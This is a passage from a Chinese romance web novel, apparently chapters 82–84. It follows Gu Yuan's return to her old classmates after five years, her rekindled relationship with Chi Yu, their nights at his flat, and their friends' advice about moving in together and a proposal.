晚上八点多，包间里陆续坐满了人，有的毕业之后继续读研，有的已经参加工作。大家聊的都是一些天蓝海北的东西。
肖毅是和迟瑜一起来的，有同学看到了打趣道：“你俩这一起走不怕被拍啊，现在的小姑娘磕CP可不分男女。”
肖毅摘下口罩，笑道：“可别，我有喜欢的姑娘，正打算追呢。”
有女生说道：“对啊，迟瑜和顾鸢可是一对呢，别乱磕。”
知道内情的肖毅连忙把话题引开，“老同学，需要合照吗，今儿给你们拍个够。
徐百川坐到迟瑜旁边，压低了声音，“我看顾鸢在群里发了消息说要来，你们联系了没有？”
迟瑜捏着手机摇头。
徐百川倒了杯水给他，“既然说了就一定回来，再等等。”
迟瑜接过来喝了一口，语气淡淡，“你求婚的事准备的怎么样了？”
“差不多了，还是咱们肖大明星的魅力大，我说有肖毅去，言酥立马就答应了。”徐百川说着和迟瑜碰了个杯，“九亿少女的梦中情人，真不愧是他。”
迟瑜扯了扯唇，“你要是在他面前说他能上天。”
突然，话题中心的主人朝门口的方向说道：“来了。”
迟瑜捏住杯子的手指攥紧，视线紧紧盯着门口。
吧嗒，门被推开。
“不好意思，路上堵车来迟了。”一个穿着衬衣西裤的男人走了进来。
“我去，你是、陈哲明？”
墨谦走过来拍了下他的肩膀，“来了，快坐。”
陈哲明微微点头，“好。”
徐百川拍了拍迟瑜的胳膊，“或许是堵车了，再等等。”
“我去下洗手间。”迟瑜拿上手机起身往门口走。
迟瑜的手刚落到门柄上，外面的人将门推开。
等看清来人，迟瑜怔愣在原地，双眸呆滞地盯着眼前的人。
顾鸢今天穿着简单的蓝色无袖连衣裙，腰链上有珍珠点缀，头发微卷，搭在肩膀一侧。
迟瑜的视线近乎黏在她身上，垂在身侧的手指蜷紧。
顾鸢松开了门柄上的手，唇角微微勾起。
“门口是谁呀，迟瑜你怎么站着不动。”有人已经走了过来。
顾鸢莞尔：“好久不见。”
“顾鸢！”
余荔走过来挽住她的胳膊，“你回来了？”
“嗯。”顾鸢点了点脑袋。
肖毅拉着祁蓉说悄悄话，“怎么回事，你和顾鸢一起来的。”
祁蓉抽出胳膊，小声道：“正好碰上了，你们怎么回事，顾鸢不是在群里说了会回来吗，这么惊讶干什么？”
“我们还以为她不来了。”肖毅说着视线瞥向迟瑜那边，只见他迟哥垂着脑袋也不知道在想什么。而顾鸢被围得水泄不通。
祁蓉和肖毅对视一眼，两人过去把顾鸢推出来。
顾鸢走到迟瑜旁边的空位上坐下，一时之间两人都没有说话。
顾鸢是下了飞机直接赶过来的，这会儿肚子空空，胃里有些难受。
蓦地，桌子下的手腕被攥住，顾鸢一怔，偏眸看过去。
迟瑜侧着头，视线灼灼地看过来。
顾鸢抿唇，正要说话，腕骨被攥住拉起，连带着人也被拽住往外走。
这边发出的动静引得其他人看过来。
徐百川笑着解释，“没事没事，大家继续。”
顾鸢被迟瑜一路带到电梯里，手腕被攥得难受，迟瑜紧绷着脸眼色深沉，顾鸢也沉默着没有说话。
直到被迟瑜强硬塞到车里，顾鸢才抓住他的胳膊，“迟瑜，我的包还在上面。”
“让祁蓉帮你拿上。”迟瑜说完车子已经开了出去。
街道上景色飞驰，顾鸢放在膝盖上的手指抓着裙子，偏头去看旁边的人。
车里灯光暗淡，迟瑜的侧脸紧绷着，搭在方向盘上的双手指节修长分明，红灯亮起，迟瑜单手解开衬衣上面的两粒扣子，似乎并未察觉到顾鸢的视线，等路灯一变，车子继续启动。
突然，车上响起手机铃声。
顾鸢的手机在包里，所以响的肯定是迟瑜的手机。
见迟瑜没有动作，顾鸢提醒他，“你的手机响了。”
迟瑜偏眸看了她一眼，嗓音淡淡，“帮我接。”
顾鸢抿唇，“你手机在哪儿？”
“右边裤子。”
顾鸢目光往下，铃声还在持续不断地响，像是催促着她快点动手。
顾鸢微微侧身，伸手拿出手机，结果手机刚到手里铃声就断了。
正不知道怎么办，铃声又响了起来。
来电显示是母上，顾鸢接通点了外放。
“小瑜，你明天有没有事，回家一趟。”
“有事，来不了。”迟瑜说完瞥了眼顾鸢，“您有什么事？”
叶蔓茹又说：“那晚上呢，晚上过来吃个饭。”
“真有事，妈，您再挑个时间呢。”
……
挂完电话，顾鸢把手机捏在手里，问他，“你要带我去哪儿？”
“家里。”迟瑜说完，把音乐打开。
是顾鸢很喜欢的那首韩语歌。
——《StayWithMe》
顾鸢偏眸看向窗外，五年时间宁宜的变化很大。
这些年顾鸢一直在关注迟瑜，知道他大三就开始创业，知道他毕业之后成立了游戏公司，知道他回了宁宜，知道他对外一直宣称自己有女朋友。
车子进入停车场，迟瑜把车停好，转身看过来的时候顾鸢靠在椅背上睡着了。
迟瑜解开安全带，倾身靠近，指腹轻轻扶着顾鸢脸侧的碎发，蓦地坐回去，胳膊搭在方向盘上，脑袋埋在臂弯里。
顾鸢睁开眼睛，手抬起停在半空中，慢慢往下落。
突然，迟瑜抬起头，抓住顾鸢的手腕按在头顶，整个人都压了过来。
“迟瑜，你……”
“顾鸢，我是不是挺没出息的，你一回来我就跟条狗一样巴巴地朝你追来。”迟瑜眼尾泛红，嗓音沙哑，另一只手落在顾鸢的脸上，指腹摩挲着脸颊。
“我这样是不是挺没意思的。”
顾鸢咬紧下唇，抬手抹着他的脸，指腹停在眼尾。
“对不起。”
“呵——”
迟瑜收了手要坐回去。
顾鸢搂住他的脖子脑袋埋在他的肩窝，嗓音涩的发烫，“对不起。”
迟瑜紧闭上眼睛，半晌手掌落下，轻轻拍着顾鸢的后背。
过了很久，才问她，“还走吗？”
顾鸢慢慢退开，眼眶里蓄满了泪水，“不走了。”
迟瑜叹气，任命地揩着她脸上的泪水，语气满是无奈和宠溺，“欺负人的是你，你哭什么？”
“你以后别说这样的话了。”顾鸢吸了吸鼻子，抬眸和他对视，“我听着难受。”
迟瑜揉了揉她的脑袋，松开手下车，再绕过来打开副驾驶的车门，伸手，“下车吧。”
顾鸢把手放到他的手心。
到了家，打开门，迟瑜牵着顾鸢进来，半跪着脱下顾鸢的高跟鞋给她换上拖鞋。
顾鸢垂眸问他，“你一个人住吗？”
迟瑜抬头，音调拖得长长的，“不算吧。”
顾鸢指尖一颤，迟瑜带着她走到布丁的小窝前，散漫地说：“布丁去串门了，今晚不回来。”
顾鸢哑然。
迟瑜把人按在沙发上坐下，“先坐会儿，我去弄点吃点，想吃什么。”
顾鸢拉住他的手腕，“吃面吧，我帮你。”
“不用。”迟瑜把手机给顾鸢，“先玩会儿游戏，马上就好。”
迟瑜说罢边往厨房走边挽起袖子。
顾鸢用迟瑜之前的密码，果然打开了，手机页面是两人的合照，在温玉山庄的许愿树下，顾鸢抬头看着风铃，迟瑜垂眸看着顾鸢。
二十分钟后，顾鸢闻着味放下手机往餐厅走。
迟瑜端着两碗角瓜虾仁鸡蛋面出来。
顾鸢是真的饿了，吃完连汤也没留，“迟瑜，你去进修厨艺了吗？”
“大概吧，周末没什么事都是自己做的。”迟瑜把碗收起往厨房走，“你呢？在家里吃的？”
顾鸢靠着岛台看着他的背影，“没住舅舅家，合租室友偶尔会下厨。”
迟瑜把碗放进洗碗机，洗了手过来，“还饿不饿？”
顾鸢摇头，“不饿，不是吃过了。”
“好。”迟瑜走到顾鸢面前站定，俯身凑到他耳畔，“喝点吗？”
“不了。”顾鸢果断拒绝，“我酒量不好。”
迟瑜点了点脑袋，就这样垂眸看着她。
顾鸢搭在台面上的手指蜷缩，嗓音有些软，“我该回去了。”
“回哪？”迟瑜嗤笑了声，“顾鸢，你留我的时候可不是这样的。”
顾鸢伸手推开他往门口走，迟瑜撩着眼皮，眸光淡淡地看着
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她。
走到门口，顾鸢回头，“你……”
“顾鸢。”迟瑜的嗓音懒得发哑，“今晚留下。”
不是商量，更像是通知。
顾鸢心尖猛跳了下，睫毛扑簌。
迟瑜把顾鸢带到卧室，“早点休息。”
说完他就往出走。
顾鸢愣住。
就、这样吗？
顾鸢没有换洗衣服，只好打开迟瑜的衣柜看能不能找到一件可以穿的。
迟瑜的衣服多是深色系，除此之外就是寥寥几件白衬衣。
顾鸢想到来的时候边秣嘱咐她的话，手指落在某件衣服上。
迟瑜进来送牛奶的时候顾鸢去了卧室洗澡，迟瑜垂眸坐在床边，听到浴室门发出吧嗒的声音，脑袋猛地抬起，看到眼前场景的一瞬，墨色的瞳孔皱缩，放在床边的手指也收紧了。
顾鸢穿着迟瑜的衬衣，衣摆堪堪遮住大腿，头发还没有擦干，水珠落在衣服上染出一片水渍。
迟瑜站起来，嗓音低哑，“怎么不吹头发？”
“我没找到你的吹风机。”顾鸢说着朝他走来。
迟瑜大步走进浴室，一分钟后拿着吹风机出来。
顾鸢坐下，迟瑜插好电，绕到她身后。
吹风机的声音嗡嗡地响着，顾鸢双手放在膝盖上，心跳快的像在打鼓，呼吸也比平时急促。
终于吹完头发，迟瑜收好吹风机拿去浴室放好，等出来的时候顾鸢还坐着没动。
“早点休息。”迟瑜说完就往出走，顾鸢立马站起来拉住他的手，“今晚可能会停电。”
迟瑜侧身睨着她，侧脸的咬肌绷紧，嗓音沉的发哑，“什么意思？”
“我可能把你的沙发弄湿了。”顾鸢说的话每一句是对不上的，但意思不言而喻。
迟瑜盯着她看了须臾，转身走进浴室。
顾鸢泄了气，瘫坐在床边。
手机也不在，想找边秣也没法找。
顾鸢只好跻上拖鞋去客厅找迟瑜的手机，刚打开手机，江皓阳的消息就弹了出来。
【布丁我帮你多带一天，不用感谢】
肖毅也发了消息。
【顾姐的包祁蓉拿着，我送祁蓉回来了，这会儿方便吗】
徐百川：【查到了，凌熙诺也住在宜佳苑】
顾鸢敛眸，给肖毅回了条消息。
【方便】
迟瑜洗完出来，顾鸢正拿着手机走进卧室。
“肖毅说等会和祁蓉把我的包送过来。”顾鸢嗓子发紧，“你怎么不穿衣服。”
“忘拿了。”迟瑜浑身上下只围了条浴巾，硬朗的上身赤着，上面还有未擦干的水珠，腹肌块状清晰，劲瘦的腰露了出来。
“我帮你取。”顾鸢把手机丢到床上，快步走到衣帽间随便拿了套睡衣给他，“穿上吧，不然会着凉。”
迟瑜定定着看着她半晌，接过睡衣当着她的面开始穿，顾鸢猛地扭头往出走。
迟瑜出来的时候，顾鸢正躺在床上捧着手机，余光瞥到他过来了，顾鸢把手机放下，抬睫和他对视。
迟瑜一只手撑在顾鸢腰侧，身体往下伏。
两人用的是一样的洗发水和沐浴露，分不清是谁的更浓烈一点。
顾鸢捏紧被角，呼吸屏住，脸颊因为憋气泛着淡淡的红晕，“迟……”
迟瑜另一只手勾着手机顺势坐下，回了几条消息，迟瑜垂眸，装似平淡地问：“怎么了？”
顾鸢搂住他的脖子把人往下拉，唇瓣附了上去，迟瑜的眸色依旧很淡，既未阻止，也未主动。
顾鸢不满地咬了下他的唇，迟瑜吃痛，指腹按在顾鸢的唇瓣上，眼皮撩起，“想干什么？”
“陪我。”顾鸢翻了个身把迟瑜压在下面，“等会儿要停电了。”
迟瑜一副任人宰割的模样，眉眼微挑，“你就这么确定会停电。”
“你把灯关了不就好了。”顾鸢理直气壮的命令他，“你去关。”
迟瑜按着她的肩膀把人放倒在一边，下床关灯关门一系列动作极其丝滑。
顾鸢愣住。
她都这么留了，还走。
这边，迟瑜喝了一大杯水，双腿随意伸开，姿态散漫地靠在沙发上，脖颈仰起，手臂随意搭着，一条落在大腿上，一条落在沙发上。
整个人显得又欲又撩人。
忽然，门铃响起，迟瑜过去开门，拿了包进来搁在茶几上，迟瑜坐了很久，拿上包往卧室走。
83. 考虑
迟瑜进去的时候顾鸢已经睡着了，把包放到床头，迟瑜半蹲在床边，借着月色可以看到顾鸢甜静的睡颜。
良久，俯身在她额头落下一吻。
半夜，顾鸢被渴醒，抹黑去开灯，结果灯不亮。
顾鸢拿起床头的包翻出手机，打开手电筒往出走。
顾鸢悄悄走到沙发前，迟瑜盖了条薄毯侧躺在沙发上，顾鸢蹲下去看着他，手指抬起慢慢落在迟瑜的额头上，指尖滑动，覆过眼睛、鼻子、嘴巴。
突然，手腕被攥住，迟瑜懒懒地掀起眼皮，眸色黑的发亮，视线沉沉地压过来，嗓音低哑，“干什么？”
顾鸢咽了咽嗓子，慢吞吞地吐出两个字，“喝了。”
迟瑜松开手，拉着顾鸢坐起来，“等着。”
顾鸢点了点头，捏着毯子坐好。
迟瑜端着水过来，而后坐到沙发的另一侧。
喝了水，顾鸢讷讷道：“卧室的灯好像坏了。”
迟瑜撩起眼皮，淡淡道：“卧室的灯是有点问题，我还没来得及换。”
顾鸢坐着不动。
迟瑜起身牵住她的手，把人带到卧室，迟瑜从抽屉里取出一个小灯，在下面按了一下，小灯瞬间发光，照出淡黄色的光晕。
“睡吧，我去给你再倒杯水拿进来。”
迟瑜出去后，顾鸢打开手机，这会儿已经是凌晨4点了，顾鸢睡得早，再加上刚才醒了一次，这会儿倒没什么睡意。
迟瑜进来之后把水放下，整个人懒懒散散地靠着柜子，“还要什么？”
顾鸢抓住他的手腕，“其实是我刚才做噩梦了，你刚出去的时候我闭上眼睛那个东西就出现在脑子里。”
迟瑜盯着她看了几秒，走到床的另一侧掀开被子躺下，“好了吗？”
顾鸢偏眸，迟瑜的睡姿十分标准，两人的中间再睡两个布丁都绰绰有余。
把小灯关掉，顾鸢躺下的时候往迟瑜那边靠了靠。
过了几分钟，手指头慢慢移动，指尖触碰的时候顾鸢摒住了呼吸，过了两秒，翻了个身抱住迟瑜的胳膊。
须臾，迟瑜睁开眼睛，本就没有睡意的人这会儿是一点睡意也没有了。
-
天亮，顾鸢慢慢睁开眼睛，房间里没有人，身边的床铺也是凉的，看来迟瑜走了有一会儿。
顾鸢昨晚回来，言酥一早就给她发了好几条消息，要晚上一起聚一下，姜煦庭也说他已经安顿好了，不用担心。
回完消息，顾鸢躺下想接下来的事情。
迟瑜提了两个袋子进来在，站在床尾朝顾鸢道：“醒了就去洗漱。”
顾鸢坐起来，视线往袋子上瞥了眼，是某个品牌的衣服，她收回目光看向迟瑜，“谢谢。”
迟瑜淡淡地睨了她一眼，等他离开顾鸢掀开被子下床。
洗漱完出来，迟瑜已经做好了早饭。
顾鸢走过去拉开椅子坐下，“你今天有什么打算？”
迟瑜把牛奶推过去，说：“吃饭睡觉吃饭睡觉接布丁吃饭睡觉。”
“咳——”
顾鸢弯着腰咳嗽起来，迟瑜伸手拍着她的脊背，“慢点喝，急什么？”
顾鸢咳的眼眶都红了，“你的计划还真朴实无华。”
迟瑜坐回去，眉眼微挑，懒懒道：“不然还能做什么？”
顾鸢：“……不出去逛逛吗？”
“吃完陪你去。”迟瑜说道：“你想去哪儿逛？”
顾鸢哑然，“我没有想去，等会儿我要去表哥那边取行李箱，还要回家一趟里。”
迟瑜咬了一口面包，淡声道：“我陪你一起。”
顾鸢总觉得迟瑜有些不一样，可具体是哪儿她又说不清楚。
……
把姜煦庭新家的地址给迟瑜，顾鸢就回边秣的消息了。
边秣：【怎么样，你俩现在什么状态？】
顾鸢：【就正常状态】
边秣：【做了吗？】
顾鸢瞳孔紧缩下意识扭头去看迟瑜，迟瑜也正巧看过来，嗓音淡淡，“怎么了？”
“没什么。”顾鸢继续低头回边秣的消息，【没有】
边秣：【？】
顾鸢抿唇，【我感觉他有点奇怪】
边秣：【可能是你们太久没见了，没关系，今晚继续，再接再厉】
顾鸢胡乱回完把手机收起来。
哪有人一见面就做那种事的，边秣问的也太大尺度了。
在等红绿灯的时候，迟瑜屈指点在方向盘上，平常地问她，“接下来什么打算？”
顾鸢思考片刻，说道：“下周就去公司上班，然后、我家里挺大的，你要和布丁搬过来吗？”
迟瑜猛地扭头，“什么意思？”
顾鸢解释，“我看过了，云湾离我们上班的地方都很近，而且还顺路，比住宜佳苑更方便。”顿了顿，她又道：“还是你不想和我一起住？”
“不是。”迟瑜收回目光，语气不稳，“你确定要和我同居？”
顾鸢认真想了想，“如果不合适的话，那我先求婚？”
车子猛地停在路边，迟瑜侧身，视线灼灼地盯着她，须臾，才慢吞吞地说了句，“我考虑一下。”
-
“就考虑一下？”
祁蓉和言酥互相对视一眼，齐齐看向顾鸢。
顾鸢点了点脑袋，“其实这几年没见，我们或多或少都有一些变化，我是不是太着急了？”
“是有点。”祁蓉冷静地帮她分析，“我觉得你们的节奏可以稍微慢一点，毕竟你们在一起连一个月都没有就分开了，现在一见面就谈同居的事确实有点早。”
言酥不认同，“我觉得就得近距离才能更好的了解彼此，有很多问题在一起的时候发现不了，等住一起了才会慢慢暴露出来，而且你们这么久没见，很难不说你对他没有一层滤镜。”
言酥咳嗽一声，娓娓道来：“就比如说，他爱吃醋吗，占有欲强吗，东西会乱扔乱放吗，一个人的时候邋遢吗，妈妈和女朋友有了矛盾他能妥善处理吗，能接受不要小孩吗，婚后不和父母一起住可以吗，事事会以你的角度优先考虑吗？”
顾鸢怔住，“要、考虑这么多吗？”
“这是自然。”言酥喝了口酒继续开讲，“谈恋爱和结婚可不一样，谈恋爱只要两个人在一起开心快乐，更需要的是情绪价值，而结婚要考虑的事情很多，事关两个家庭，以及自己要成立的小家，身上是要担负起责任的。”
“就像你说的求婚，我觉得太草率了，你应该再好好考虑考虑。”
祁蓉突然沉默下来，“我觉得言酥说的有道理。”
顾鸢手托着腮，陷入沉思。
-
另一边。
听完迟瑜的话江皓阳一口水喷了出来，不可置信道：“顾姐要跟你求婚？”
江皓阳扒拉着旁边的徐百川，“我没听错吧，他要比你先求婚，哦不是，他是被求婚。”
徐百川淡定地问：“你答应了？”
迟瑜：“没有。”
江皓阳眼睛瞪得更大了，“你竟然拒绝！没发烧吧？”说着抬起手去抹迟瑜的额头。
迟瑜侧身躲开，“我就是觉得太突然了，我还没做好准备。”
江皓阳和徐百川对视一眼。
徐百川给迟瑜倒了杯酒，问他，“那你们现在是什么情况？”
迟瑜仰头一口喝完，靠在椅背上神色懒散，“男女朋友，还能什么情况。”
江皓阳不信，“把布丁都送到我这里了，还男女朋友，你别说你俩现在还是纯洁的男女朋友。”
迟瑜一脚踢在江皓阳椅子上，低斥道：“我没那么禽兽。”
江皓阳向徐百川告状，“老徐他说你禽兽。”
徐百川中肯地给迟瑜提建议，“你就带着布丁搬过去，两个人再多了解一段时间，求婚这事讲究的是水到渠成。”
江皓阳也认同地点头，“我觉得可以，你都等了五年了，也不介意再等一等，而且两个人都在一起了，剩下的事只是水到渠成，顺其自然就好了。你和顾姐都是理智的人，给足了对方信任比什么都重要。”
徐百川对迟瑜说：“你喝酒了肯定开不了车，要不给顾鸢打个电话麻烦她过来接你。”
迟瑜看了他一眼，把手机拿出来丢给他。
江皓阳拿了瓶酒给迟瑜，“装的像一点。”
迟瑜：“她知道我的酒量。”
徐百川刚找出号码，闻言抬头看过来，“那电话还打吗？”
顾鸢接到电话的时候正往外走。
“顾鸢，迟瑜喝了酒不能开车，你有时间过来接他吗？”徐百川把手机开着外放，迟瑜垂着睫，遮住了眼底神色。
顾鸢伸手拦了辆出租，“在哪儿？”
说完地址，徐百川挂断了电话。
迟瑜解开衬衣上面的两粒扣子，露出冷白的皮肤，脖颈仰起的弧度美的恰到好处，骨节分明的手指抓着酒瓶，双腿大刺刺地敞开
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，斜靠在沙发上，整个人有几分浪荡不羁的痞气，像个勾人的妖精。
江皓阳啧啧两声，“要我是个姑娘也想扑过去，也亏得他在外面立已婚的人设。”
徐百川笑道：“你要是把我有女朋友几个大字焊在脑门上冷筱筱也不会总跟你分手。”
冷筱筱正是在温玉山庄和江皓阳组队玩游戏的女孩，后来两人又在大学相遇，打打闹闹了一段时间就在一起了。但两人分手时常态，分分合合过了四年了。
江皓阳：“怎么还是我的问题了。”
徐百川：“……建议你去报个茶艺大师鉴别班上一个学期。”
江皓阳：“什么东西。”
……
顾鸢刚进电梯，就遇到了熟人。
陈哲明推了推眼镜，笑道：“聚会那天都没跟你说上话，什么时候有时间了一起吃个饭？”
顾鸢委婉道：“最近可能会比较忙，要过一段时间了。”
“没关系。”陈哲明依旧勾着唇，嗓音温润，“衣服很漂亮。”
顾鸢垂眸看了眼，莞尔一笑，“谢谢，看来迟瑜的眼光真的很好。”
陈哲明脸上一僵，转而又说：“你们这是又在一起了？”
“不是。”顾鸢说：“我们本来就在一起，没有分开过。”
电梯发出叮的一声，顾鸢又道：“我到了，先走了。”
电梯门合上的一瞬，陈哲明脸上的笑意尽数收敛起来，取下眼镜捏了捏鼻梁，眸低一片冰冷。
……
顾鸢推开门进去的时候，江皓阳正在唱歌，徐百川拿着手机在发消息。
角落里，迟瑜斜躺在沙发上，大半的身影都被遮住，看不清晰。
“顾姐，来啦。”江皓阳放下话筒朝她招手。
顾鸢朝两人微微点头，抬手指了指角落的迟瑜，江皓阳伸手比了个OK。
顾鸢走过去拿起迟瑜的手机装进包里，然后去扶他的胳膊，“迟瑜，你先醒一下，太重了我扶不住。”
闻言迟瑜懒懒地撩起眼皮，整个人朝顾鸢扑过去，顾鸢忙把人抱住。
“我知道你没喝醉，自己起来走。”
“有点晕，先缓缓。”迟瑜把脑袋搁在顾鸢的肩窝里，双手禁锢着她的肩膀。
过了几分钟，顾鸢拍了拍他的肩膀，轻声问：“好点没有。”
“嗯。”迟瑜懒懒地应了一声，抱住顾鸢的一条胳膊拉着她往出走。
……
到家之后，迟瑜脚步稳当地走出电梯，进门换上拖鞋，去了客房。
顾鸢把包放下先给自己倒了杯水，喝完打开手机看了眼时间，已经快11点了。
在回云湾和留下之间犹豫了几秒钟，顾鸢去了卧室。
找了件迟瑜的衣服，顾鸢去了浴室洗漱。
迟瑜擦着头发出来没在客厅看到顾鸢，神色一瞬间暗淡下来，突然主卧传出声音，迟瑜不敢置信地走过去。
顾鸢用毛巾包着头发，对正好进来的迟瑜自然地说道：“吹风机你放在哪里了？”
迟瑜敛下眼睫，进了浴室拿着吹风机出来，“就在下面的柜子里，下次我直接放外面。”
顾鸢抬眸，视线落在他凸起的喉结上，“好。”
吹完头发，顾鸢又去了客厅喝水，迟瑜坐在床边，手机被抛出去又落回手里。
脑子里不合时宜的想法飘过很多，最后都成为一声轻叹。
顾鸢进来的时候，迟瑜已经睡下了。
顾鸢放轻脚步，关上灯掀开被子躺进去。
许是精神太过亢奋，顾鸢一点儿也不困，愣是睁着眼睛数了五十只绵羊。
蓦地，身旁响起一道清冽的声音，“睡不着？”
顾鸢扭头，迟瑜正侧身盯着她看。
顾鸢转过身，人也往他那边挪了一些，“迟瑜，你觉得我变了吗？”
“怎么这么问？”
“那你怎么、这么、平静？”
迟瑜眉心一跳，哑着嗓子说道：“明天还要上班，你第一天去公司迟到不好。”
顾鸢立即红了脸，“我不是那个意思，我、就是你……”
有嘴也说不清，顾鸢索性摆烂，直言，“要接吻吗？”
迟瑜：“……你认真的？”
顾鸢咬唇，“你不想就算了。”
话音刚落，迟瑜翻身抬起她的下巴，炙热的吻随即落了下来，铺天盖地的气息随之倾覆而来，顾鸢闭上眼睛搂住他的脖子，手指插进短发里。
84. 搬家
顾鸢双眼迷离，喘着气，耳边是温热酥麻的触感，以及他有一下没一下轻重啄咬。
感觉腰间柔软被他灼热的掌心触碰到，身体如过电般的轻颤，顾鸢咬住下唇，瞳眸染上了一层水雾，脸直接压进他的颈窝里，嘴唇碰到了温热干燥的皮肤。
迟瑜粗重的呼吸喷洒在耳畔，他闭了闭眼，薄唇轻启，嗓音极其喑哑，“够了么？”
顾鸢闭着眼，混沌的大脑慢慢回神，慢吞吞地嗯了一声。
迟瑜头一歪，含住她两片唇瓣，不同于方才的霸道和急切，他极有耐心地含吮，轻舐安抚。
待顾鸢身上的热意退却些许，迟瑜抽回了手把顾鸢的衣服拉好，翻身下床。
不一会儿，浴室里传来淋淋沥沥的水声。
顾鸢红着脸，扯过被子蒙住脑袋。
她刚才，好像感觉到了。
顾鸢掀开被子扇着手，觉得还是太热，侧眸一看，将桌子上的水拿过来喝完。
听到水流声停止了，为了避免尴尬，顾鸢连忙把手机关掉躺好装睡。
迟瑜在床尾站了几秒，最后拿上枕头去了客厅。
真自作自受，他就是欠的。
-
次日，迟瑜顺路送顾鸢去公司，临下车前，迟瑜叫住顾鸢，“中午一起吃饭吗？”
顾鸢解安全带的手一顿，抱歉道：“我中午可能没时间。”
“没关系。”迟瑜屈指点在方向盘上，唇角勾起，“那晚上过来接你。”
“今晚还住你那边吗？”顾鸢思考了几秒，“那我需要拿一些换洗的衣服。”
迟瑜咳嗽一声，眼神有些不自然，“要不我问问布丁的意见？”
顾鸢点头，“好，那我去上班了。”
“顾鸢。”迟瑜又叫住他，也不说话，只是视线灼灼地盯着她。
顾鸢眨了眨眼，“怎么了？”
迟瑜盯着顾鸢看了几秒，泄气道：“没事，晚上见。”
顾鸢不明所以，下车之后看到有一对情侣正在不舍的告别，男生亲了亲女生，女生又害羞的跑开。
顾鸢抿唇，所以迟瑜是想要这样。
虽然两人认识这么久了，但正经谈恋爱的时间却没多久，顾鸢也只能看到什么学什么。
迟瑜本来在看着顾鸢，没想到她又拉开车门，单腿跪在座位上，身子探了过来在他的脸侧亲了一下。
迟瑜怔愣地睁着双眸，直到顾鸢关上车门才反应过来。
在顾鸢看不到的地方，迟瑜扬着唇，笑得十分荡漾。
-
QY的员工发现，今天的老板心情格外的好，一向冷着脸总是带着笑意，甚至还会和员工主动打招呼，不到半个小时，八卦群里就传出了各种结论，最后据知名人士透露，是老板的女朋友回来了。
深藏功与名的助理收了手机推开了办公室的门。
五分钟后，助理又在群里发了消息。
【老板的解语花：下午老板不在】
【明天世界上少一半人：花花万岁】
……
宜佳苑
江皓阳坐在沙发上打游戏，布丁来回跑着收拾自己的行李，迟瑜也在房间不出来。
一局打完，江皓阳捞起布丁靠在卧室门口，“你不是说考虑考虑，这就考虑好了？”
迟瑜把相册装进行李箱里，顺口说道：“听说你被赶出来了。”
江皓阳烦躁地挠了把头发，“正好，我在你这儿住几天。”
迟瑜合上行李箱，拿起桌上的一瓶水丢给他，“正好客房空着，不过你为什么不回你家住。”
“我妈要是知道我和冷筱筱吵架，肯定又要说我，我先在你这儿躲一阵。”说道这个江皓阳脸都瘫了下来，“我真的感觉有点累了。”
迟瑜拍了拍他的肩膀，捞起布丁往外走，问它，“你东西收拾好了没有？”
布丁蹦跶下来跑到小窝前，“喵~”
迟瑜看了眼，挑眉，“收的挺全，事先说好，去了新家不能调皮，不然就罚你自己回来住。”
布丁原地转了一圈，朝他喊道：“喵~”
“行，你记得就成。”迟瑜说完拉上江浩阳，“帮我搬家。”
“合着你在这儿等我呢？”江皓阳虽然这样说，但作为布丁的干爸，还是任劳任怨地帮它拎着行李。
-
顾鸢接到迟瑜的电话，先是愣了几秒，然后笑着说道：“要不晚上叫上江皓阳一起吃个饭。”
迟瑜把自己的衣服往衣橱里挂，偏头说：“我来问，等会儿来接你。”
有人敲门，顾鸢朝电话那边的迟瑜道：“先挂了，晚上见。”
“好，晚上见。”
收拾好衣服，迟瑜捏着手机下楼，江皓阳没什么正行的瘫在沙发上玩游戏，听到脚步声头也没抬，“行了是吧，那我就先回了。”
“等等，顾鸢说晚上请你吃饭，有时间吗？”说完迟瑜问徐婶，“布丁呢？”
“去院子里玩了。”
江皓阳仔细想了想，“今晚不行，要不等周六，或者过段时间。”
迟瑜点头，“也行。”
家里这边收拾好，迟瑜去了顾鸢公司楼下的咖啡厅等她下班。江皓阳顺路跟着过来见个人。
两人刚坐下，就有人直直地走过来。
冷筱筱朝迟瑜点了点头，然后拧着江皓阳的耳朵往外拉。
江皓阳疼的面目狰狞，还是压着声音说话，“轻点轻点，能不能给我留点面子。”
冷筱筱冷嗤，“面子？你里子都没有。”
冷筱筱的朋友喻瑾笑了出来，问迟瑜，“我可以坐在这里吗？”
迟瑜嗓音淡淡，“你随意。”
“谢谢。”
喻瑾坐下之后时不时偷看一眼迟瑜，作为冷筱筱的好友，她自然是知道迟瑜是有女朋友的，可这么一个大帅哥就在眼前，她怎么能忍住不看啊，这简直比他老公肖毅还要帅。
“那个、方便加一下你的微信吗？”喻瑾忐忑地问。
“抱歉，不方便。”迟瑜委婉拒绝，“已有家世。”
喻瑾扯了扯唇，尴尬到能抠出一座魔仙堡，“不好意思。”
迟瑜一直在低头看手机，喻瑾也带上耳机追他老公肖毅的综艺。
江皓阳和冷筱筱离开后就再没过来了，等喻瑾看完综艺，收到冷筱筱的消息要她先回去。
喻瑾摘下耳机，正要和迟瑜道别，结果后面过来的服务员不小心撞上她，粘稠的液体瞬间沾在了白色的裙摆上，喻瑾欲哭无泪，服务员连忙道歉。
突然，有人拿着一件外套围在她腰间，还问她，“要去清理一下吗？”
喻瑾抬头，看清对方的脸之后，眼睛都直了，愣愣地说：“好、好的。”
迟瑜拉着顾鸢避开地上的污渍，“那是江皓阳女朋友冷筱筱的闺蜜喻瑾，因为冷筱筱拉着江皓阳离开了，就在这儿等冷筱筱。”
“这样啊。”顾鸢说道：“你等多久了？”
“不久。”迟瑜拂了拂她的头发，问：“冷不冷？”
顾鸢摇头，“不冷，衣服在办公室放着，就顺便拿下来了，我们现在是直接回家吗？”
“还需要买点东西，先回家吃饭然后再去超市，还是先去超市再回家吃饭？”
顾鸢仔细想了想，“我还不是很饿，你要是不饿的话我们先去超市。”
迟瑜牵起顾鸢的手，“我们先超市。”
“好。”顾鸢挽住迟瑜的手臂。
等喻瑾出来，只看到两人相携离开的背影，忙掏出手机拍下一张照片，感叹道：“有这么善良又漂亮的女朋友，上辈子修了多大福气啊，羡慕。”
-
顾鸢几次都想提醒迟喻，但话到嘴边又忍住了。
迟瑜偏眸看了眼她，“怎么了，饿了？”
“不是。”顾鸢试着抽了抽被他握住的手，抿唇，“开车的时候你还是注意一下。”
迟瑜嗤地笑了声，“放心，我车技很好，牵个手而已，又不做别的。”
顾鸢恶补了很多谈恋爱的知识，听到他的话不由得想到了别的，睫毛扑簌了下，她慢吞吞地说：“你还想做什么？”
迟瑜蓦地把手收了回去，侧脸紧绷着，一言不发。
……
迟瑜推着推车，两人先去了生活用品区。
